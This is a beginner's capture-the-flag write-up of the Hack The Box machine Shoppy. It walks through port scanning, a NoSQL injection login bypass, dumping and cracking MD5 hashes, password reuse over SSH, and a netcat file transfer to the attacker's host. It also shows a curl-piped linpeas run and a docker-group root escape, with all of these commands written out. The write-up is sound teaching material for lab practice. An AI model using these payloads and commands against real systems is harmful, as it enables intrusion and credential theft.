This is a beginner friendly writeup of Shoppy on Hack The Box. I hope you learn something, because I sure did! Be sure to comment if you have any questions!
Adding the domain to /etc/hosts
In order to properly resolve our IP to a hostname, we'll need to map it's IP to a hostname using local DNS. This way, we won't need to type the IP address each time we'd like to communicate with the machine. In order to do this, we'll need to use the command sudo vi /etc/hosts
, type in our password, and follow the convention within the file (IP address [TAB] domain name) to add it to the file on the next line like so:
Make sure that your IP matches up with the instance HTB gave you! Don't copy mine!
Recon
Nmap
For speed purposes, I use a very quick nmap scan to grab all of the open ports on the machine (and nothing more). The -p-
flag is great for this. Without -p-
, I'd only scan for the most common 1000 ports instead of all 65,535 TCP ports. This can be a fatal mistake in the enumeration phase.
Here's the command we'll use:
nmap -p- shoppy.htb
Quick Nmap output
Nmap scan report for shoppy.htb (10.10.11.180)
Host is up (0.031s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9093/tcp open copycat
Nmap done: 1 IP address (1 host up) scanned in 280.71 seconds
Note that these ports are all TCP only! If we wanted to scan UDP we'd use the -sU option.
Now that we have identified the ports available we know that the ports available are 22, 80, and 9093. With this information, we can infer that there's a webserver, and an SSH client running on this machine. However, there's another port that I don't recognize. Let's look into all of them, but keep an eye on our out of place port.
Full nmap
My full nmap scan uses the following options:
nmap -sCV -p 22,80,9093 -o shoppy.nmap shoppy.htb
-sV
: Detects service versions
-sC
: Runs safe scripts (using the NSE)
-p
: Scans selected ports
-o
: Outputs in normal format. (With filename "shoppy.nmap")
# Nmap 7.92 scan initiated Wed Dec 14 19:10:22 2022 as: nmap -sCV -p 22,80,9093 -o shoppy.nmap shoppy.htb
Nmap scan report for shoppy.htb (10.10.11.180)
Host is up (0.093s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
| 256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_ 256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp open http n17/12/2022 16:08ginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Shoppy Wait Page
9093/tcp open copycat?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date: Thu, 15 Dec 2022 00:10:27 GMT
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 11
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 11
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 2.8354e-05
| go_gc_duration_seconds{quantile="0.25"} 9.8767e-05
|_ go_gc_d
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9093-TCP:V=7.92%I=7%D=12/14%Time=639A65FF%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2A82,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:
SF:\x20text/plain;\x20version=0\.0\.4;\x20charset=utf-8\r\nDate:\x20Thu,\x
SF:2015\x20Dec\x202022\x2000:10:27\x20GMT\r\n\r\n#\x20HELP\x20go_gc_cycles
SF:_automatic_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\
SF:x20generated\x20by\x20the\x20Go\x20runtime\.\n#\x20TYPE\x20go_gc_cycles
SF:_automatic_gc_cycles_total\x20counter\ngo_gc_cycles_automatic_gc_cycles
SF:_total\x2011\n#\x20HELP\x20go_gc_cycles_forced_gc_cycles_total\x20Count
SF:\x20of\x20completed\x20GC\x20cycles\x20forced\x20by\x20the\x20applicati
SF:on\.\n#\x20TYPE\x20go_gc_cycles_forced_gc_cycles_total\x20counter\ngo_g
SF:c_cycles_forced_gc_cycles_total\x200\n#\x20HELP\x20go_gc_cycles_total_g
SF:c_cycles_total\x20Count\x20of\x20all\x20completed\x20GC\x20cycles\.\n#\
SF:x20TYPE\x20go_gc_cycles_total_gc_cycles_total\x20counter\ngo_gc_cycles_
SF:total_gc_cycles_total\x2011\n#\x20HELP\x20go_gc_duration_seconds\x20A\x
SF:20summary\x20of\x20the\x20pause\x20duration\x20of\x20garbage\x20collect
SF:ion\x20cycles\.\n#\x20TYPE\x20go_gc_duration_seconds\x20summary\ngo_gc_
SF:duration_seconds{quantile=\"0\"}\x202\.8354e-05\ngo_gc_duration_seconds
SF:{quantile=\"0\.25\"}\x209\.8767e-05\ngo_gc_d")%r(HTTPOptions,2A82,"HTTP
SF:/1\.0\x20200\x20OK\r\nContent-Type:\x20text/plain;\x20version=0\.0\.4;\
SF:x20charset=utf-8\r\nDate:\x20Thu,\x2015\x20Dec\x202022\x2000:10:27\x20G
SF:MT\r\n\r\n#\x20HELP\x20go_gc_cycles_automatic_gc_cycles_total\x20Count\
SF:x20of\x20completed\x20GC\x20cycles\x20generated\x20by\x20the\x20Go\x20r
SF:untime\.\n#\x20TYPE\x20go_gc_cycles_automatic_gc_cycles_total\x20counte
SF:r\ngo_gc_cycles_automatic_gc_cycles_total\x2011\n#\x20HELP\x20go_gc_cyc
SF:les_forced_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\
SF:x20forced\x20by\x20the\x20application\.\n#\x20TYPE\x20go_gc_cycles_forc
SF:ed_gc_cycles_total\x20counter\ngo_gc_cycles_forced_gc_cycles_total\x200
SF:\n#\x20HELP\x20go_gc_cycles_total_gc_cycles_total\x20Count\x20of\x20all
SF:\x20completed\x20GC\x20cycles\.\n#\x20TYPE\x20go_gc_cycles_total_gc_cyc
SF:les_total\x20counter\ngo_gc_cycles_total_gc_cycles_total\x2011\n#\x20HE
SF:LP\x20go_gc_duration_seconds\x20A\x20summary\x20of\x20the\x20pause\x20d
SF:uration\x20of\x20garbage\x20collection\x20cycles\.\n#\x20TYPE\x20go_gc_
SF:duration_seconds\x20summary\ngo_gc_duration_seconds{quantile=\"0\"}\x20
SF:2\.8354e-05\ngo_gc_duration_seconds{quantile=\"0\.25\"}\x209\.8767e-05\
SF:ngo_gc_d");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 14 19:12:03 2022 -- 1 IP address (1 host up) scanned in 100.75 seconds
Port 9093
9093 is a weird port with an unidentified service. I'll revisit the strings later to see if I can get it to snag something, but for now, I'll interact with the port directly:
┌─[sshad0w@SSHad0w]─[~/Documents/ctf/htb/shoppy]
└──╼ $nc shoppy.htb 9093
ls
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close
400 Bad Request
Seems to be HTTP based. I can tell it's HTTP based because I notice that the response fit the protocol.
Maybe that's why the protocol was dubbed "copycat". It could be a "copycat service" made to look like HTTP. Since it seems to be HTTP, I'll go ahead and visit it in a browser.
The browser gives me all of these weird messages. My best guess is that it's written in Go considering it says "Go runtime" at the top of the page.
At the very bottom of the page, there's the following line:
Version numbers are always good to follow, so I chased the rabbit down the hole and googled the following:
playbooks_plugin_system_playbook_instance_info{Version="1.29.1"} 1
According to a few sites, this application is a plugin written in go made to monitor memory usage.
After a bit, I found that this is made to monitor Go apps.
(References to alloc
and numGC
are both in the article mentioned above)
I found something else that looks familiar.
I cross referenced the error with the word "playbook" (because it stood out to me as application specific language), and most of my searches linked back to something called "Mattermost".
I felt like I was in the right place since the words "playbook" and "channel" matched up.
So what is Mattermost?
Now that I've found what's running, Let's actually take a second to understand what it is.
Mattermost seems to be an open source software development solution that allows people to collaborate their efforts without having to pay for a service like Jira, confluence, or any other enterprise level tool. Understanding it's intended purpose will help us understand how to triage it's importance and assess possibly weak points later on. We'll also take note that it's open source, as this may allow us to look through the code for clues on exploitation later.
Mattermost Playbooks
According to the docs, playbooks are basically crontabs within the scope of Mattermost. Or in their words: "Build and configure repeatable processes to achieve specific and predictable outcomes."
Here's more of the documentation
Why did I take note of this? Any time I see code automatically being run without human interaction, at specific time intervals, or when certain conditions are met, I try to take note of what it takes to trigger that code to see if can edit it, or force it to execute outside of it's typical context, I may be able to gain access to information I'm not privy to.
Things like stored procedures, cron jobs, or any conditional arguments linked to time based execution are always interesting things to take note of, and it seems like these playlists can "Build and configure repeatable processes to achieve specific and predictable outcomes."
After finishing the machine, I noticed that this was not the intended path, but I still wonder if there's something I'd be able to leverage here. Maybe I'll do some testing and discover something new.
Port 80
Let's have a look at port 80.
It's a pretty little countdown timer. Let's check robots.txt
.
Editors note: On my first pass, I dismissed this as nothing but an error. I simply figured that this gave no more information than "this page doesn't exist". After some research, I learned that this page does give me information. I just didn't know what to look for. The "Cannot GET /page" format is actually native to the NodeJS framework. If I had have understood that information earlier, I would have progressed a lot faster on this machine, as this information would soon be crucial to exploitation. If you didn't know this, make sure you keep your eyes peeled for web framework error messages!
Login
After manually fuzzing the pages, I found the /login
page.
Whenever I see a login page (presuming no logging is present), I always try simple default credentials, or common ones like variations of password
, admin
and other things like that.
It seems like this is configured with a strong passphrase, so I won't be able to break it that way.
http://shoppy.htb/login?error=WrongCredentials
Hm... How do I exploit this?
NoSQL injection
Since the backend is written in NodeJS, a good assumption that any backend database is written using a NoSQL DB like MongoDB. With this assumption, we can try to learn how to trigger a NoSQL injection vulnerability. Without going too far in the details, the difference between the classic SQL injection and it's NoSQL variant is where we're attacking. Since MongoDB is handled at the application level (since MongoDB and NodeJS couple well together), we're actually attacking the application instead of an independent database. That's a very high level and broad statement, but there's more specific information on the internet.
After many attempts, I finally found an exploit string that worked for me:
username=admin' || 'a'=='a&password=hello
I tested this using Burp Suite, but it's also possible to manually exploit via the login page. Without parameterization, it looks like this:
admin' || 'a'=='a
/admin
We're now met with the admin interface of the Shoppy app:
We can click the "search" button.
Using the exploit string from before, we can see all users in the DB:
Since our payload dumps the entire database, we receive the username and password hashes of all of the DB users:
[{
"_id":"62db0e93d6d6a999a66ee67a",
"username":"admin",
"password":"23c6877d9e2b564ef8b32c3a23de27b2"
},
{
"_id":"62db0e93d6d6a999a66ee67b",
"username":"josh",
"password":"6ebcea65320589ca4f2f1ce039975995"
}
]
Since we're already logged in as admin, we'll login to Josh
to see if there's any new information available to us.
Identifying the hashes
Before we try logging into the "Josh" user, we'll need to identify which algorithm they use in order to crack them. There are many tools to do this (such as hashid
, hashcat
, and Cyber Chef
), but we can also throw them into any online hash cracker to see if it will do the heavy lifting for us.
6ebcea65320589ca4f2f1ce039975995 md5 remembermethisway
Nice! So we got Josh's password without much hard work. Again, it's important that we understand how to use hashcat, but once we have that basic knowledge, online tools are fairly helpful as well. If you'd like to learn how to use hashcat
, you can read my writeup on Previse.
Now that we have the cleartext password, we'll put it in our notes under "found credentials". We'll remember his password this way (Pun intended!)
Mattermost
I'm not sure what to do, but I remember Mattermost being on this machine, so I looked at documentation on how to authenticate, and I found a page that tells me more about authentication.
Basically, if Mattermost is self hosted, it will most likely be held on a domain that looks like the following:
Gobuster
So I'm going to try looking for vhosting using gobuster. (I'll have to look for virtual hosts given that it's on a *.shoppy.htb scheme site)
gobuster vhost -u shoppy.com -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shoppy.com
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/12/17 16:33:50 Starting gobuster in VHOST enumeration mode
===============================================================
===============================================================
2022/12/17 16:34:34 Finished
===============================================================
Gobuster turned out to be a bust, but I took a guess and typed http://mattermost.shoppy.htb/ and I got a response back:
Mattermost.shoppy.htb
After adding that to the /etc/hosts
file, we get this page:
Let's try logging in with the credentials we learned earlier:
Authenticated Mattermost enumeration
Great! Now that we're logged into the environment, we can look around in their messages and learn more about the environment.
Don't forget to log new usernames/accounts in your notes.
So far, I see 4 accounts.
We have Josh, Jess, Jager, and System.
Hello sysadmin/CEO!
This might be our target later.
Let's poke around look at the business logic before we try to find exploits.
While messing around with the webapp, I found the dark theme! Feel free to change it if it's more comfortable on your eyes ;)
Channels
If you're familiar with discord or slack, Mattermost will feel quite familiar to you.
If you aren't, each tab on the left has different "channels" that discuss various subjects. Each of them focus on a single type of conversation.
Let's check out some of their messages.
Josh and Jaeger talking about the Admin interface.
There may be a password manager written in C++.
Jess' cat. This could be a possible password later.
In a private channel called "Deploy machine", Jaeger tells josh to create an account for him.
I didn't see that account earlier. Maybe Josh hasn't created it yet.
Jaeger might reuse passwords. Let's logout of Josh's account and see if we can become CEO.
jaeger
Sh0ppyBest@pp!
Neither worked.
I could try to login via SSH.
Sweet! I knew that password had to be used somewhere else.
There's our user.txt file.
Linux Privesc Enumeration
After grabbing the user flag, I let's look in the shoppy_start.sh
file.
Running sudo -l
gives us:
Seems like we need to inspect that file, and the ones around it.
Other than the SUID, this directory is fairly locked down.
This could be path injection. I'm not completely sure, but editing the $PATH variable might allow us to alter the execution flow of this script. I'll take a look at the permissions in this directory and see how the .profile
is setup for each user.
.profile
:
Since we can't read the source code, let's try running the actual binary to learn more. Because this command needs to be run as another user, we'll have to invoke the binary with the following command:
sudo -u deploy /home/deploy/password-manager
So I guess we'll need some sort of master password?
Not sure if I'm expected to reverse engineer this, or if I'm supposed to try PATH injection. Since there's no way to know which commands were used to make this, path injection would be a shot in the dark. Maybe reverse engineering this file would give us some insight into how it's built, and we may even discover the master password itself.
Transferring files with NC
Before we're able to reverse engineer the program, we'll need to move the file from the target machine, to ours. I've never demonstrated how to transfer a file in a situation like this, and there many ways.
I'd like to mention that this method of transfer is **completely* unencrypted, and if your goal is to be stealthy while hacking, this is not a secure method for transferring files. Red teaming is an entirely different skill. You have to have tact to be tactical!
On our local machine, we'll run the following command to receive the data on port 4490 and name the file "password-manager".
nc -nvlp 4490 > password-manager
(Local machine)
Your output should look like this:
On your target machine, you'll need the following command to push the file through:
nc -nvq 0 10.10.14.9 4490 < /home/deploy/password-manager
(Remote machine)
Here's what it should look like when you receive a connection:
I should also note that there is no progress bar with this transfer method, but waiting for a full minute should download the full file. (Checking the size of the file on the remote machine and target should be enough.)
Reverse engineering the file
Now that the file is on our machine, we can poke and prod at the file to figure out how it works, what it does, which libraries it uses and more relevant information. Although reverse engineering is it's own discipline, (which will be covered later) this post will only cover the basics of the skill.
Creating a carbon copy (optional)
In my minimal forensics training, a cardinal rule that I've learned is to always make at least one copy of all artifacts before running tests on them. This prevents any original data from being damaged, destroyed, or otherwise modified. I created a copy with cp password-manager password-manager2
, and I'll solely run tests on the copied version.
Running the file
command
Running the file
command on unidentified binaries can help you identify what it is, how it was created and more.
It seems to be a standard x64 ELF. Sweet!
Strings
The strings command lists human readable strings inside the binary. This may give us information about how it was built, strings inside and possibly other valuable information that we can use to crack the program.
Interesting... So we know that it will cat the file.
Maybe if we modify the cat
binary, we can use path injection to take advantage of this program.
Ghidra
While PATH injection could be our path, let's try reverse engineering the code itself.
Ghidra gives a listing of instructions along with the strings that we saw earlier.
You'll notice that we can simply scroll down and find the password hardcoded in the file:
Now, we see the "access granted" string like earlier!
We can even see the execution flow of what happens after access is granted.
We also could have visited the function and viewed the password in the decompiler:
Let's go back to the copy and verify the password.
It works! Let's do it for real this time on the target machine!
After running the command earlier, we have the password to the "deploy" account! You can log on to the account via the su
command, ssh into the account from the local machine, or you can exit your current shell, and log in to the deploy
account manually.
We're in. Now that we're on the other side, we can verify how the app was made.
The source code looks very similar to the decompiled version that we saw in Ghidra. Reverse engineering can be extremely powerful.
Shell upgrade for deploy account
Before we move on, we do have a slight problem. We have a dumb shell.
What's a dumb shell? It's a shell that we can't we can't do much with. It's a shell that we can't use modern features like tab autocomplete, arrow keys, screen clearing, and automatic resizing.
You'll know you're in a dumb shell when you see that there's a minimal prompt, and pressing arrow keys will give weird output.
While there are multiple ways to upgrade your shell, if there's a python install on the machine, you can use the following command to upgrade your shell:
python -c 'import pty; pty.spawn("/bin/bash")'
Let's run the command and see what happens:
It seems that we don't have python on the machine. Let's try searching the machine for python and related binaries:
I considered creating a new shell with nc, but I decided to exit it all together and SSH into the machine. Technically, there were still ways to upgrade the shell, but I decided to make it easier on myself and SSH into the machine to have a copacetic experience.
If you're ever on a red team assessment, this technique may not work! Sometimes you don't have the password for every user you log into, and in enterprise environments, SSH login events are recorded and logged.
I thought logging into the account directly would give me a proper shell, but eventually I decided to just run bash
for the upgrade.
Deploy Enumeration
Every time we log into a new account, we always need to enumerate.
No SUID binaries or crontab for this user.
While there are Linux privesc tools, I wanted to manually explore a bit before running them.
I found out two things:
1) This is the account that controls Mattermost
2) Containerd is on this machine.
Since Docker was mentioned earlier, I tried to see if anything was running.
Nothing was running.
Linpeas
I don't know what else to do, so I'm going to run linpeas. You can either transfer the file like earlier using nc
, transfer it with a simple python
webserver, or you can grab it directly from github with curl
.
Since we don't care about stealth, we can just run this:
# From github
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
If you'd like to use python
(like I did), it will look something like this:
Client machine:
Target machine:
Linpeas has a lot of information in it (which means a lot of scrolling!), so I prefer to run it and send it to an output file to retrieve and parse through at my leisure. In order to do this, I used the >
redirect operator to write to a file called output.txt
:
bash linpeas.sh > output.txt
Let's less
the file:
That output was very ugly, so I decided to go with bash linpeas.sh -Nq > output2.txt
instead to remove color and banners.
Much better.
*I completed this box a while ago, and since then I've read the linpeas documentation and learned that I could have used
less -r output.txt
for the first file, and it would have displayed with color. Again, if you see something like the first picture, just useless -r
!
After reading all of the linpeas output extensively and researching attack vectors, I decided to ask someone for help. I only mention this because I want to make sure that I remain honest about every single line of code I write, and I take that very seriously. It's alright to ask for help when you're stuck. No one is a master at everything instantly.
The hint I was given was "Did you see in which group deploy user is in?" The path was in the GID all along. Nothing super complicated, nothing extremely advanced. I just had to go back to the basics.
The group
We can find the group id by using the id
command:
deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
The GID shows that we're a part of the docker
group.
Let's search for files with our GID.
you can specify either with the -gid or -group options.. example:
$ find / -name filename -gid 101
or with the group name like:
$ fine / -name filename -group users
man find for more info....
find / -name filename -gid 998
That's way too many "permission denied" messages. Let's see if we can filter that out with grep
find / -name filename -gid 998 2>&1 | grep -v "Permission denied"
find / -name filename -gid 1001 2>&1 | grep -v "Permission denied"
That was a bust. Let's try a different approach. Since we're in the docker
group, this means that we can run the actual docker binary. Maybe we should look to see if there are any ways to escalate to root using that program.
After a bit of research, I found that one of my favorite sites had an entry for the docker binary. GTFOBins is an amazing website to use when standard binaries have elevated privileges like SUID, SGID, or something similar. This site is a quick way to see if there are ways to break out of a restricted shell.
With out further ado, let's GTFO of docker!
To achieve a root shell, all we have to do is run the following command:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Before we run it, let's see what it actually does:
-
-v
Defines the volume to mount to. This allows us to share filesystems between the container and the host machine. When using docker operationally, I use docker's volume feature to ensure that my data persists between each deployment.From the dockumentation itself:
-v or --volume: Consists of three fields, separated by colon characters (:). The fields must be in the correct order, and the meaning of each field is not immediately obvious.
- In the case of named volumes, the first field is the name of the volume, and is unique on a given host machine. For anonymous volumes, the first field is omitted.
- The second field is the path where the file or directory are mounted in the container.
- The third field is optional, and is a comma-separated list of options, such as ro.
--rm
simply removes a container.-i
or--interactive
is for keeping STDIN open, even if the container isn't attached.-t
or--tty
allocates a psuedo TTY that allows us to interact with the container like a normal shell.alpine
is the base Linux image used in many containers. This image is just to hold the shell. It has most basic functions and features of a standard Unix machine.chroot
is the actual command we're using to set the/mnt
directory as our new root.sh
simply allows us to use/bin/sh
as our interpreter for our shell
It worked! I'm so glad I wasn't afraid to ask for help. Thank you so much ARZ101!
Top comments (0)